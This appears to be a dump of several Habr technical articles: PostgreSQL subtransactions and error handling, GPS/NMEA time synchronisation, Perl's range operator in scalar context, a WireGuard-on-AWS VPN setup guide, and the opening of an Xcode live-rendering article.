Откатимся к точке сохранения и вставим третью строку.
```
=> ROLLBACK TO sp;
=> INSERT INTO t(s) VALUES ('BAR');
=> SELECT xmin, xmax, * FROM t;
```
```
xmin | xmax | id | s
------+------+----+-----
3669 | 0 | 2 | FOO
3671 | 0 | 4 | BAR
(2 rows)
```
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+----------+-------+--------
(0,1) | normal | 3669 | 0 (a) | (0,1)
(0,2) | normal | 3670 (a) | 0 (a) | (0,2)
(0,3) | normal | 3671 | 0 (a) | (0,3)
(3 rows)
```
В странице мы продолжаем видеть строку, добавленную отмененной вложенной транзакцией.
Фиксируем изменения.
```
=> COMMIT;
=> SELECT xmin, xmax, * FROM t;
```
```
xmin | xmax | id | s
------+------+----+-----
3669 | 0 | 2 | FOO
3671 | 0 | 4 | BAR
(2 rows)
```
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+----------+-------+--------
(0,1) | normal | 3669 (c) | 0 (a) | (0,1)
(0,2) | normal | 3670 (a) | 0 (a) | (0,2)
(0,3) | normal | 3671 (c) | 0 (a) | (0,3)
(3 rows)
```
Теперь хорошо видно, что каждая вложенная транзакция имеет собственный статус.
Заметим, что вложенные транзакции нельзя использовать в SQL явно, то есть нельзя начать новую транзакцию, не завершив текущую. Этот механизм задействуется неявно при использовании точек сохранения, а еще при обработке исключений PL/pgSQL и в ряде других, более экзотических, случаев.
```
=> BEGIN;
```
```
BEGIN
```
```
=> BEGIN;
```
```
WARNING: there is already a transaction in progress
BEGIN
```
```
=> COMMIT;
```
```
COMMIT
```
```
=> COMMIT;
```
```
WARNING: there is no transaction in progress
COMMIT
```
Ошибки и атомарность операций
-----------------------------
Что случится, если при выполнении операции произойдет ошибка? Например, так:
```
=> BEGIN;
=> SELECT * FROM t;
```
```
id | s
----+-----
2 | FOO
4 | BAR
(2 rows)
```
```
=> UPDATE t SET s = repeat('X', 1/(id-4));
```
```
ERROR: division by zero
```
Произошла ошибка. Теперь транзакция считается прерванной и ни одна операция в ней не допускается:
```
=> SELECT * FROM t;
```
```
ERROR: current transaction is aborted, commands ignored until end of transaction block
```
И даже если попытаться зафиксировать изменения, PostgreSQL сообщит об отмене:
```
=> COMMIT;
```
```
ROLLBACK
```
Почему нельзя продолжить выполнение транзакции после сбоя? Дело в том, что ошибка могла возникнуть так, что мы получили бы доступ к части изменений — была бы нарушена атомарность даже не транзакции, а оператора. Как в нашем примере, где оператор до ошибки успел обновить одну строку:
```
=> SELECT * FROM heap_page('t',0);
```
```
ctid | state | xmin | xmax | t_ctid
-------+--------+----------+-------+--------
(0,1) | normal | 3669 (c) | 3672 | (0,4)
(0,2) | normal | 3670 (a) | 0 (a) | (0,2)
(0,3) | normal | 3671 (c) | 0 (a) | (0,3)
(0,4) | normal | 3672 | 0 (a) | (0,4)
(4 rows)
```
Надо сказать, что в psql имеется режим, который все-таки позволяет продолжать работу транзакции после сбоя так, как будто действия ошибочного оператора откатываются.
```
=> \set ON_ERROR_ROLLBACK on
=> BEGIN;
=> SELECT * FROM t;
```
```
id | s
----+-----
2 | FOO
4 | BAR
(2 rows)
```
```
=> UPDATE t SET s = repeat('X', 1/(id-4));
```
```
ERROR: division by zero
```
```
=> SELECT * FROM t;
```
```
id | s
----+-----
2 | FOO
4 | BAR
(2 rows)
```
```
=> COMMIT;
```
Нетрудно догадаться, что в таком режиме psql фактически ставит перед каждой командой неявную точку сохранения, а в случае сбоя инициирует откат к ней. Такой режим не используется по умолчанию, поскольку установка точек сохранения (даже без отката к ним) сопряжена с существенными накладными расходами.
[Продолжение.](https://habr.com/ru/company/postgrespro/blog/446652/) | https://habr.com/ru/post/445820/ | null | ru | null |
# Применение протокола NMEA в задачах определения текущего времени
Публикуется по следам статьи [Делаем собственный NTP-сервер Stratum-1](http://habrahabr.ru/blogs/sysadm/79629/).
В статье было рассказано о том, что можно использовать внешний приёмник GPS, подключенный по последовательному порту (COM) для определения точного времени и синхронизации локального времени компьютера. Но, как показывает опыт, не все так просто. Почему? Попробуем разобраться.
Время с приёмника, например такого как используем мы GARMIN GPS 35-HVS передается по двум каналам. Первый это обычный последовательный канал RS-232 по которому передается время в стандарте NMEA, второй это обычный дискретный сигнал PPS, заведенный на один из служебных сигналов того же RS-232.
Начнем с описания NMEA. Это обычный текстовый протокол по которому друг за другом идут пакеты следующих типов: WPL, AAM, APB, BOD, BWC, RMB, RTE и всякие другие. Конкретные пакеты которые будут идти в каждом конкретном случае зависит от типа GPS приёмника и его настроек.
Для работы с приёмником будем использовать программу [NMEATime](http://www.visualgps.net/NMEATime/). Для просмотра пакетов, идущих по последовательному порту будем использовать программу [FreeSerialPortMonitor](http://www.serial-port-monitor.com/index.html).
Включаем, смотрим:
[](http://picasaweb.google.com/lh/photo/eEFy9Y76hKxW9W7BmWvOEQ?feat=embedwebsite)
В этот момент с приёмника идут следующие пакеты:
`$GPGGA,082407,5609.0341,N,04713.1558,E,0,00,,,M,,M,,*50
$GPGSA,A,1,,,,,,,,,,,,,,,*1E
$GPGSV,3,1,10,05,40,063,,10,28,049,,13,01,349,,15,04,116,*73
$GPGSV,3,2,10,16,38,301,,18,12,186,,21,52,236,,24,74,092,*7F
$GPGSV,3,3,10,29,60,125,,30,09,176,,,,,,,,,*79
$GPRMC,082408,V,5609.0341,N,04713.1558,E,000.0,000.0,301209,011.2,E*68
$GPGGA,082408,5609.0341,N,04713.1558,E,0,00,,,M,,M,,*5F
$GPGSA,A,1,,,,,,,,,,,,,,,*1E
$GPGSV,3,1,10,05,40,063,,10,28,049,,13,01,349,,15,04,116,*73
$GPGSV,3,2,10,16,38,301,,18,12,186,,21,52,236,,24,74,092,*7F
$GPGSV,3,3,10,29,60,125,,30,09,176,,,,,,,,,*79
$GPRMC,082409,V,5609.0341,N,04713.1558,E,000.0,000.0,301209,011.2,E*69
$GPGGA,082409,5609.0341,N,04713.1558,E,0,00,,,M,,M,,*5E
$GPGSA,A,1,,,,,,,,,,,,,,,*1E`
Порядок, в котором они идут в общем случае не определён.
Нас интересуют пакеты GPGGA и GPZDA.
**$GPGGA,123519,4807.038,N,01131.000,E,1,08,0.9,545.4,M,46.9,M,,\*47**
Данный пакет в своем первом поле содержит текущее время в формате UTS с точностью до секунды. В примере это 12 часов, 35 минут, 19 секунд.
**$GPZDA,201530.00,04,07,2002,00,00\*60**
Это уже не только время с точностью до секунды, но также дата и текущий часовой пояс. В примере это 4 июля 2002-го года, 20 часов, 15 минут, 30 секунд.
Теперь стоит упомянуть о том как повысить точность определения текущего времени. Очень просто. Нужно использовать сигнал PPS. В моем случае он есть и заведен на CTS сигнал последовательного порта. Этот сигнал интересен тем, что его фронт совпадает с началом текущей секунды, и получив его мы можем утверждать что сейчас идет нулевая миллисекунда. Сигнал PPS присутствует не всегда, а только в том случае, если в зоне видимости антенны находятся достаточное количество спутников. На моём приёмнике для этого нужно 3 спутника.
[](http://picasaweb.google.com/lh/photo/hmv1erfj8IkVwRw6c9vhbA?feat=embedwebsite)
Следует уточнить что данной задачей я занимаюсь применительно к аппаратуре автоматики для энергетики, которую производит компания, в которой я работаю. Там состояние входа PPS опрашивается с интервалом в 0.83 миллисекунды, соответственно с такой точностью синхронизируется время устройства.
Вот, в принципе, и все. | https://habr.com/ru/post/79701/ | null | ru | null |
# Необычный оператор диапазона
Должен предупредить, что это ещё одна статья, не содержащая никаких откровений. Для тех супер-гиков, которые назубок знают весь perldoc, она будет абсолютно бесполезной, так что, уважаемые супер-гики, можете проходить мимо и не информировать, что всё это есть в доках. Я и так это знаю. :-) Моя статья для всех остальных, для тех, кто весь perldoc целиком либо не осилил, либо осилил, но не понял, либо понял, но не запомнил.
Я думаю, многие знают о так называемом операторе диапазона, записывающемся как `**..**` (две точки), с помощью которого можно быстро создавать массивы из набора последовательных элементов. Например, следующий код создаёт массив из 35 чисел: 3, 4, 5, …, 37:
> `my @arr = 3 .. 37;`
Помимо чисел можно использовать строки: в этом случае для генерации элементов массива будет выполняться так называемый магический инкремент (например, можно задать диапазон букв: `**'a' .. 'z'**`).
Однако оператор диапазона может использоваться и в скалярном контексте, принимая в качестве операндов булевские выражения и возвращая булевский результат. И вот здесь начинается самое интересное, потому что это **оператор с состоянием**: результат операции будет зависеть не только от значений левого и правого операндов, но ещё и от истории вызовов данного выражения!
Можно, конечно, здесь привести формальное определение, описывающее методику вычисления результата для оператора диапазона, но лично мне потребовалось это формальное определение перечитать раз пять или шесть, прежде чем я, наконец, смог понять суть. Поэтому лучше пойти другим путём. Представим, что мы обрабатываем построчно какой-нибудь файл, и нам требуется выполнить определённое действие для каких-то блоков в этом файле (например, пропустить многострочный комментарий). Что такое блок? Это практически произвольный набор строк, заключённый между двумя маркерами, отмечающих начало и конец блока. Для определённости возьмём комментарии в стиле C/C++ (а для простоты будем считать, что в одной строке не могут соседствовать комментарий и полезная команда). Вот пример кода, который мы будем обрабатывать:
> `01: int i = 10, j, k;
>
> 02: for (j = i; j < 2 * i; ++j) {
>
> 03: /\*
>
> 04: Здесь мы будем выполнять
>
> 05: какие-то очень сложные
>
> 06: и непонятные действия. \*/
>
> 07: k = j * j;
>
> 08: printf("Result[%d]: %d\n", j, k);
>
> 09: /\* Результат выведен. \*/
>
> 10: }`
Будем писать код, который выведет на экран все незакомментаренные строки вышеприведённого текста. Что станет делать программист на C при построчной обработке? Ну, например, создаст переменную, где будет хранить текущее состояние: находимся ли мы внутри комментария (т. е. мы прочитали маркер "`**/\***`", но ещё не встретили "`**\*/**`"), и в зависимости от значения этой переменной выводить или не выводить очередную строку на экран, а также не забывать своевременно менять значение при обнаружении маркера нужного типа. А что сделает программист на Перле? А он воспользуется оператором диапазона и напишет что-то типа следующего:
> `while (my $line = ) {
>
> if (($line =~ m/^\s\*\/\\*/) .. ($line =~ m/\\*\/\s\*$/)) {
>
> # $line - это комментарий, пропускаем.
>
> }
>
> else {
>
> # $line - это код, печатаем.
>
> print $line;
>
> }
>
> }`
Что делает этот код? Если вкратце, то именно то, что нам нужно. Левый операнд оператора диапазона здесь соответствует началу комментария, правый — окончанию. А сам оператор диапазона возвращает истину в том и только том случае, если в процессе выполнения кода мы находимся в «промежутке» от срабатывания левого операнда и до срабатывания правого. Таким образом, оператор полностью оправдывает своё название: он задаёт логический диапазон.
Вот теперь можно привести и формальное определение (вольный перевод выдержки из официальной документации [perlop](http://perldoc.perl.org/perlop.html#Range-Operators)):
> Каждый оператор `**..**` содержит собственное булевское состояние. Оно содержит значение «ложь», пока левый операнд является ложным. Как только левый операнд становится истинным, оператор диапазона принимает истинное значение и остаётся таковым до тех пор, пока правый операнд не примет истинное значение. ПОСЛЕ этого оператор диапазона вновь принимает ложное значение.
Попробуем теперь разложить по полочкам всю ту магию, которая превращает это несколько смутное определение в соответствие обычному диапазону. Для этого представим себя отладчиком и будем выполнять программу последовательно, шаг за шагом, построчно считывая входной файл. Для краткости я здесь обозначаю левый и правый операнды (булевские выражения соответствия началу и концу комментария) как **MB** и **ME** (сокращение от marker begin / marker end).
1. `int i = 10, j, k;`
На данной строчке как **MB**, так и **ME** дают ложь, следовательно, оператор `**..**` также вернёт ложь. Таким образом, данная строчка — не комментарий.
2. `for (j = i; j < 2 * i; ++j) {`
Аналогично, **MB** и **ME** дают ложь, так что всё выражение также будет ложным.
3. `/\*`
А вот здесь, наконец, срабатывает **MB**; **ME** остаётся ложью. Согласно определению, в этот момент оператор диапазона принимает истинное значение, и мы получаем результат, что считанная строка является комментарием.
4. `Здесь мы будем выполнять`
На этой строке выражения **MB** и **ME** снова ничего не находят и возвращают ложь. Но поскольку оператор уже переключился в истинное состояние, он теперь будет в нём пребывать до тех пор, пока **ME** не примет истинного значения. Таким образом мы снова получаем истину, т. е. эта строчка является комментарием.
5. `какие-то очень сложные`
Здесь **ME** всё ещё не стал истинным, так что оператор `**..**` продолжает выдавать истину, т. е. конца комментария мы ещё не достигли.
6. `и непонятные действия. \*/`
А вот здесь, наконец, срабатывает **ME**. Оператор диапазона вздыхает и в последний раз выдаёт истину, после чего переключается обратно в исходное состояние. Но для этой строчки мы пока получаем всё же истину, что отлично кореллируется с нашими представлениями о структуре многострочных комментариев: данная строка является завершающей, но всё же частью комментария, и выводиться согласно вышеприведённому ТЗ не должна.
7. `k = j * j;`
Халява кончилась, сэр. **MB** и **ME** оба ложны, оператор в своём исходном состоянии и возвращает ложь, так что данная строка комментарием не является.
8. `printf("Result[%d]: %d\n", j, k);`
…точно так же, как и эта. По тем же причинам.
9. `/\* Результат выведен. \*/`
А вот этот кусочек весьма любопытен: здесь срабатывают одновременно и **MB**, и **ME**. Что это меняет? Да, в общем-то, ничего. Оператор `**..**`, согласно определению, возвратит истину, запомнив это на будущее, но, поскольку второй операнд тоже истинен, тут же происходит обратное переключение в исходное состояние: комментарий начался и тут же закончился.
10. `}`
Данная строчка не ловится ни **MB**, ни **ME**, и, т. к. оператор успел переключиться обратно, он здесь вернёт ложь, отметив данную строку как незакомментированную.
Надеюсь, что этот простенький пример помог вам разобраться, что к чему. Фактически, внутри оператора содержится та самая локальная переменная состояния, которую вымышленный нами C-программист вынужден был вводить явным образом, а также возиться с управлением её значениями.
Разумеется, область применения диапазонного оператора вовсе не ограничивается построчной или пословной обработкой текстов, всё определяется только вашей фантазией. Например, с его помощью можно определять какие-то диапазоны в массивах данных, когда границы задаются более сложными условиями, нежели элементарная проверка на больше-меньше.
Стоит также здесь сказать, что кроме двухточечного оператора `**..**` есть ещё и трёхточечный (`**...**`). Он ведёт себя точно так же, как двухточечный, но с одним отличием: когда первый операнд в исходном состоянии оператора принимает истинное значение, второй операнд игнорируется. Таким образом, если бы мы для нашего примера попытались использовать оператор `**...**`, то комментарий в девятой строке файла считался бы не законченным, а продолжающимся до конца файла (точнее, до строчки, где попадётся следующий маркер конца комментария, но в нашем файле-примере такой строчки просто нет). В качестве примера использования можно привести ситуацию, когда начало и конец обрабатываемого блока задаются одной и той же спец-строкой. Двухточечный оператор здесь был бы бессилен, а трёхточечный подошёл бы идеально.
Напоследок хочется прочитать небольшую нотацию: пожалуйста, не забывайте о читабельности и самокомментируемости кода. Не нужно использовать возможность языка только из-за того, что она в нём есть. Если у вас, действительно, в последовательной обработке каких-то данных явственно выделяется некий блок, то данный оператор даёт возможность коротко, понятно и изящно этот блок описать. Но если вы начнёте пихать оператор диапазона где ни попадя, только из-за того, что он такой весь из себя оригинальный, необычный, и его больше ни у кого нет, — поверьте, ни к чему хорошему это не приведёт. | https://habr.com/ru/post/87272/ | null | ru | null |
# Free Wireguard VPN service on AWS
Free Wireguard VPN service on AWS
=================================
The reasoning
-------------
The increase of Internet censorship by authoritarian regimes expands the blockage of useful internet resources making impossible the use of the WEB and in essence violates the fundamental right to freedom of opinion and expression enshrined in the [Universal Declaration of Human Rights](https://www.un.org/ru/documents/decl_conv/declarations/declhr.shtml).
> Article 19
>
> Everyone has the right to freedom of opinion and expression; this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers.
The following is the detailed 6 steps instruction for non-IT people to deploy free\* [VPN service](https://ru.bmstu.wiki/VPN_(Virtual_Private_Network)) upon [Wireguard](https://www.wireguard.com/) technology in [Amazon Web Services (AWS) cloud infrastructure](https://aws.amazon.com/ru/), using a 12 months free account, on an Instance (virtual machine) run by Ubuntu Server 18.04 LTS.
I tried to make this walkthrough as friendly as possible to people far from IT. The only thing required is assiduity in repeating the steps described below.
> Note
>
> * AWS offers [free usage tier](https://aws.amazon.com/ru/free/faqs/) for a period of 12 months limited to 15 GB of traffic monthly.
>
>
>
>
Stages
------
1. [Register the AWS Account.](http://aws-account-registration)
2. [Create an AWS instance.](http://create-aws-instance)
3. [Connect to AWS instance.](http://connection-to-instance)
4. [Configure Wireguard server.](http://configure-wireguard)
5. [Configure VPN Clients.](http://configure-vpn-clients)
6. [Verify VPN connection.](http://check-the-installation-of-vpn)
Useful links
------------
* [Scripts for Wireguard automated installation on AWS.](https://github.com/pprometey/wireguard_aws)
* [Discussion on Habr.com (RU)](https://habr.com/ru/post/448528/#comments)
The authors
-----------
* [Alexey Chernyavskiy](https://github.com/pprometey/)
* [Assuan Saimov](https://t.me/saimov) (english translation)
1. Register the AWS Free Account
================================
To register an AWS account, you need to submit a valid phone number and a bank card (Visa or Mastercard). I recommend using virtual cards provided for free by [Yandex.Money](https://money.yandex.ru/cards/virtual) or [Qiwi](https://qiwi.com/cards/qvc) wallet.
AWS checks the validity of the card by deducting 1$ at registration followed by the refund.
1.1. Opening the AWS Management Console
---------------------------------------
Follow the link: [https://aws.amazon.com/](https://aws.amazon.com/en/), click on the **Create an AWS account** button.
1.2. AWS account creation
-------------------------
Fill in the data and click the **Continue** button.
1.3. Contact information for AWS account
----------------------------------------
1.4. Specify billing information
--------------------------------
Card number, expiry date, and a cardholder name.
1.5. Account Verification
-------------------------
AWS verifies your phone number and debits $ 1 from your bank card. Then you should get a 4-digit code on the computer screen and receive a call from Amazon. During a call, you need to dial the 4-digit code shown on the screen.
1.6. Choosing an AWS support plan
---------------------------------
Choose a Basic plan (free).
Login into AWS Management Console
---------------------------------
### 1.8. Choosing the location of the Datacenter
#### 1.8.1. Internet speed testing
I recommended you to run a speed test to the nearest Datacenters at <https://speedtest.net/> and choose the best to connect to.
The following are the speed test results from my location:
* Singapore
* Paris
* Frankfurt
* Stockholm
* London
The Datacenter in London shows the best speed result, so I choose it to proceed with.
2. Create an AWS instance
=========================
2.1 Create a virtual machine (instance)
---------------------------------------
### 2.1.0. Follow the instance creation steps
#### 2.1.0.1. Go to the Instance Launch page, choose EC-2 service
#### 2.1.0.2. Launch a virtual server, known as Amazon EC-2 Instance
#### 2.1.0.3. Choose Amazon machine Image (Operating System) — the Ubuntu Server 18.04 LTS
### 2.1.1. Choose Instance type
The `t2.micro` instance type is set by default and is the right one to go with. Click the **Next: Configure Instance Details** button to proceed.
### 2.1.2. Configure Instance details
Disable the auto-assignment of the public IP as you will assign a static one to your Instance. Click the **Next: Add Storage** button.
### 2.1.3. Add storage
Specify the size of the Drive — the 16GB is enough.
Click **Next: Add Tags** button.
### 2.1.4. Add Tags
If you have several instances, you may group them by tags to enable better administration. Yet, this functionality is surplus. So we skip this by pressing the **Next: Configure Security Group** button.
### 2.1.5. Opening ports
Configure the firewall by assigning open ports. The set of open ports is called the "Security Group". You need to create a new "Security Group", give it a name, a description and a UDP port (Custom UDP Rule).
In the Port Range field specify a port number from the range 49152 — 65535 of [dynamic ports](https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers). In my case, I choose the 54321 port number.
Click the **Review and Launch** button to complete this step.
### 2.1.6. Review Instance Launch settings
Review and check all the settings for Instance Launch, and if all is OK click the **Launch** button.
### 2.1.7. Creating access keys
Create or add an existing SSH key in the dialog box that you will use for remote connection to your instance.
Choose the "Create a new key pair" to generate a new key. Give it a name and click the **Download Key Pair** button to download the generated key to the PC drive. Click the **Launch Instances** button.
#### 2.1.7.1. Save private keys (.pem)
When you click the **Download Key Pair** you save the key as a .pem file.
For better management, I assigned a ***wireguard-awskey.pem*** name to the file.
### 2.1.8. Instance Launch Summary
Next, you should see a message about the successful launch of the Instance that you have created. You can visit the list of your Instances by clicking the **View instances** button.
2.2. Creating an external IP address
------------------------------------
### 2.2.1. Create an External IP
Next is the creation of an external IP address, that you will use to connect to the VPN server.
Find the **Elastic IPs** in the ***NETWORK & SECURITY*** category of the navigation panel. Click the **Allocate new address** button.
### 2.2.2. External IP setup
In the next step you need to enable the ***Amazon pool*** (which is by default), and click the **Allocate** button
### 2.2.3. IP address overview
The next window displays an external IP address assigned by the Amazon pool. Write it down, as you will need it fo the configuration process and for VPN server setup. In this guide, as an example, I use the IP address ***4.3.2.1***.
Once you finish this step, click the **Close** button.
### 2.2.4. List of external IP addresses
Next, you should get a list of your public IP addresses (Elastics IPs).
### 2.2.5. Assign an external IP to Instance
Choose the IP address from the list (see 2.2.3), and click the mouse right button for a drop-down menu.
In this menu choose the **Associate address** to assign an IP to the created Instance.
### 2.2.6. Associate address with Instance
In the drop-down menu select the created Instance, and click the **Associate** button.
### 2.2.7. External IP assignment Summary
You should now have a created Instance with an assigned public IP address. This enables you to make a remote connection to the Instance from outside (from your PC) via SSH.
3. Connect to AWS instance
==========================
[SSH](https://en.wikipedia.org/wiki/Secure_Shell) is a secure protocol to manage remote computer devices.
3.1. Connect from a Windows PC via SSH
--------------------------------------
Download and install a [Putty](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html) to make a connection from the Windows PC.
### 3.1.1. Import Private Key for Putty
#### 3.1.1.1. Import AWS key into Putty
Launch a PuTTYgen utility to match your AWS key in .pem format with a .ppk format suitable for the Putty.
To do this select **Conversions -> Import Key** from the top menu.
#### 3.1.1.2. AWS key in PEM format
Next, choose the key that you dealt with in [2.1.7.1](http://create-aws-instance.html#_2-1-7-1-save-private-keys-pem)
In my case it is ***wireguard-awskey.pem***.
#### 3.1.1.3. Set the Key import parameters
At this step, you need to specify the import parameters of the Key — the ***key comment*** and the ***key passphrase***. You will need these at every connection. Also it protects the key itself with a password from unauthorized access.
You may skip the password assignment. But this will make your connection less secure in case the key falls into the wrong hands.
Once you finish, click the **Save private key** button.
#### 3.1.1.4. Save the imported .ppk key
You can save your private key in a `.ppk` format suitable for ***Putty*** from the save file dialog box.
Specify the key name (in my case, `wireguard-awskey.ppk`) and click the **Save** button.
### 3.1.2. Create and configure a connection in Putty
#### 3.1.2.1. Make a connection
Run the Putty program, choose the **Session** category (it is open by default) and in the **Host Name** field enter the public IP address of the server. I remind that you got your public IP address in step [2.2.3](http://create-aws-instance.html#_2-2-3-ip-address-overview).
Give any name to the connection in the **Saved Session** field (for me it is `wireguard-aws-london`). Click the **Save** button.
#### 3.1.2.2. Set a user auto-login
Choose the ***Data*** subcategory from the ***Connection*** category. Enter the Auto-login username **ubuntu** in the **Auto-login username** field. (***ubuntu*** is the standard instance user on AWS with Ubuntu).
#### 3.1.2.3. Use a private key for an SSH connection
Follow the path ***Connection -> SSH -> Auth*** subcategory and click on the **Browse** button to choose the private key file.
#### 3.1.2.4. Open the private key file
Specify the key that you imported earlier in step [3.1.1.4](#_3-1-1-4-save-the-imported-ppk-key) — `wireguard-awskey.ppk`, and click the **Open** button.
#### 3.1.2.5. Save changes and launch an SSH remote connection
In the ***Session*** category of Putty configuration window press the **Save** button to apply all the changes you made in ([3.1.2.2](#_3-1-2-2-set-a-user-auto-login) — [3.1.2.4](#_3-1-2-4-open-the-private-key-file)).
Click the **Open** button to launch the ready-to-go SSH remote connection.
#### 3.1.2.7. Set a trust between hosts
At the first connection, you should get a warning about the lack of trust between two computers (hosts). The system asks you whether you trust the remote host. Click **Yes** to add the remote host to the trust list.
#### 3.1.2.8. Enter the password to activate the key
In a Putty terminal window enter the key password you set in step
[3.1.1.3](#_3-1-1-3-set-the-key-import-parameters). When entering the password it does not show any action on the screen. No worries, if you make a mistake, you can use the backspace key.
#### 3.1.2.9. Successful connection
Once you enter the correct password, you should get a welcome text. It informs you that the remote system is ready to execute your commands.
4. Configure Wireguard server
=============================
Below is the instruction for a script-driven Wireguard installation and management.
I keep the latest version of the instruction in the repository: <https://github.com/pprometey/wireguard_aws>
4.1. Install Wireguard
----------------------
Enter the following commands in the Putty terminal.
You can copy them to the clipboard, and paste in the terminal by pressing the right mouse button.
### 4.1.1. Clone the scripts repository
Clone a Wireguard installation scripts repository:
```
git clone https://github.com/pprometey/wireguard_aws.git wireguard_aws
```
### 4.1.2. Directory of scripts repository
Go to the directory of the cloned repository:
```
cd wireguard_aws
```
### 4.1.3 Initialization script
Run the Wireguard installation script under admin (root user) rights:
```
sudo ./initial.sh
```
The script asks you to provide the following data to configure Wireguard.
#### 4.1.3.1. Set connection endpoint (IP:port)
Enter the external IP address (see [2.2.3](#_2-2-3-ip-address-overview)) and the open port (see [2.1.5](#_2-1-5-opening-ports-configuring-a-firewall)) of the Wireguard server. Use the following format ***IP:port***, for example, `4.3.2.1:54321`. Press Enter key to confirm.
```
Enter the endpoint (external ip and port) in format[ipv4:port] (e.g. 4.3.2.1:54321): 4.3.2.1:54321
```
#### 4.1.3.2. Set internal IP address
Enter the IP address of the Wireguard server in a secure VPN subnet. If you do not know what it is, press Enter key to set the default value (`10.50.0.1`).
```
Enter the server address in the VPN subnet (CIDR format) ([ENTER] set to default: 10.50.0.1):
```
#### 4.1.3.3. Specify DNS Server
Enter the IP address of the DNS server, or press Enter key to set the default value `1.1.1.1` (Cloudflare public DNS).
```
Enter the ip address of the server DNS (CIDR format) ([ENTER] set to default: 1.1.1.1):
```
#### 4.1.3.4. Specify WAN Interface
Enter the name of the external network interface. This interface will sense the internal network interface of the VPN.
Press Enter to set the default for AWS (`eth0`)
```
Enter the name of the WAN network interface ([ENTER] set to default: eth0):
```
#### 4.1.3.5. Specify customer name
The Wireguard VPN server cannot start until you add at least one client. Enter a VPN username.
In my case, I entered Alex@mobil name.
```
Enter VPN user name: Alex@mobile
```
After that, you should receive a QR code of an added client configuration. This QR applies the user config to Wireguard mobile client on Android or iOS.
The text of the configuration file is also displayed with QR. You will need in case of manual configuration of clients as discussed below.
4.2. Add new VPN user
---------------------
To add a new user, you need to run the script `add-client.sh` in the terminal
```
sudo ./add-client.sh
```
The script asks for the username:
```
Enter VPN user name:
```
The username can go along as a script parameter (in my case, the username is Alex@mobile):
```
sudo ./add-client.sh Alex@mobile
```
The execution of the script leads to the creation of the client config file in the client directory.
Client config file: `/etc/wireguard/clients/{ClientName}/{ClientName}.conf`.
Client directory:
`/etc/wireguard/clients/{ClientName}`
### 4.2.1. User configuration file
Execute the cat command to get the contents of the `.conf` file for client manual configuration.
```
sudo cat/etc/wireguard/clients/Alex@mobile/Alex@mobile.conf
```
the result of command execution as follows:
```
[Interface]
PrivateKey = oDMWr0toPVCvgKt5oncLLRfHRit + jbzT5cshNUi8zlM =
Address = 10.50.0.2/32
DNS = 1.1.1.1
[Peer]
PublicKey = mLnd + mul15U0EP6jCH5MRhIAjsfKYuIU / j5ml8Z2SEk =
PresharedKey = wjXdcf8CG29Scmnl5D97N46PhVn1jecioaXjdvrEkAc =
AllowedIPs = 0.0.0.0/0, :: / 0
Endpoint = 4.3.2.1:54321
```
description of client configuration file:
```
[Interface]
PrivateKey = Client's private key
Address = Client IP Address
DNS = DNS used by the client
[Peer]
PublicKey = Public key server
PresharedKey = Shared server and client key
AllowedIPs = Allowed addresses for connection (all - 0.0.0.0/0, :: / 0)
Endpoint = IP address and port for connection
```
### 4.2.2. Client configuration with QR code
Execute the `qrencode -t ansiutf8` command to get the QR of a created client config. (in my case, the new client name is Alex@mobile).
```
sudo cat /etc/wireguard/clients/Alex@mobile/Alex@mobile.conf | qrencode -t ansiutf8
```
5. Configure VPN Clients
========================
5.1. Android mobile Client setup
--------------------------------
Download the Wireguard mobile client for Android from the [official GooglePlay store](https://play.google.com/store/apps/details?id=com.wireguard.android).
Scan the QR code to import the client configuration (see [4.2.2](#_4-2-2-client-configuration-with-qr-code)) and assign it a name.
After importing the configuration, you can enable the VPN tunnel. A little key symbol in the Android system confirms the VPN connection.
5.2. Windows Client Setup
-------------------------
Download and install the [TunSafe](https://tunsafe.com/download), which is a Wireguard client for Windows.
5.2.1. Create a local text file to import configuration
-------------------------------------------------------
Create a dummy text file on the desktop of your PC.
### 5.2.2. Copy the configuration file from the server
Copy the contents of the configuration file from the server.
Then, go back to the Putty terminal and display the contents of the user configuration file (see [4.2.1](#_4-2-1-user-configuration-file)).
Use right-click of the mouse to copy the configuration text in the Putty terminal.
### 5.2.3. Paste the configuration text to a local text file
Paste the configuration text from the clipboard to dummy text file we created earlier on the desktop (see [5.2.1](#_5-2-1-create-a-local-text-file-to-import-configuration)).
### 5.2.4. Save the local configuration file
Save the text file as the **.conf** format (in my case as `london.conf`)
### 5.2.5. Import local configuration file
Import the configuration file into the TunSafe program.
### 5.2.6. Establish a VPN connection
In TunSafe program select the imported configuration file and click the **Connect** button.
6. Verify VPN connection
========================
Use <https://2ip.ua/en/> resource to verify the VPN tunnel connection. If the displayed IP address matches the one we got in [2.2.3](http://create-aws-instance.html#_2-2-3-ip-address-overview), so the VPN tunnel is up and running.
In a Linux terminal, you can check your IP address by executing the following command:
```
curl http://zx2c4.com/ip
``` | https://habr.com/ru/post/449234/ | null | en | null |
# Пробуем Xcode Live Rendering
Как вы знаете, в Xcode 6 и iOS 8 SDK Apple добавила возможность рендеринга кастомных компонентов и редактирования их свойств прямо в стандартном Interface Builder ~~(здесь должно быть едкое упоминание о том, что это было еще в Delphi древних версий)~~.
Основы
======
Для начала нам понадобится какой-то самодельный наследник UIView, чтобы заставить Xcode рендерить его в Interface Builder. Для этого его нужно пометить атрибутом IB\_DESIGNABLE (технически в Objective-C это макрос, ну раз Apple называет это атрибутом, и в Swift это атрибут, так тому и быть):
```
IB_DESIGNABLE
@interface XXXStaticPriceView : UIView
@property (nonatomic, copy) IBInspectable NSNumber *price;
@property (nonatomic) IBInspectable NSUInteger amount;
@property (nonatomic) IBInspectable NSNumberFormatterRoundingMode roundingMode;
@property (nonatomic, getter = isHighlighted) IBInspectable BOOL highlighted;
@property (nonatomic, copy) IBInspectable UIColor *textColor;
@property (nonatomic, copy) IBInspectable UIColor *outlineColor;
@end
```
Теперь можно создать storyboard (или xib) и разместить там наш view, и Xcode должен будет его успешно отобразить (предварительно собрав проект):
Теперь было бы здорово редактировать свойства компонента, влияющие на его внешний вид, прямо из IB. Для этого нужно пометить соответствующие свойства атрибутом IBInspectable. Вот результат:
Все редактируемые в Assistant Editor свойства дублируются в Runtime Attributes:
Поддерживаемые на данный момент типы свойств:
* целочисленные типы (кроме enum)
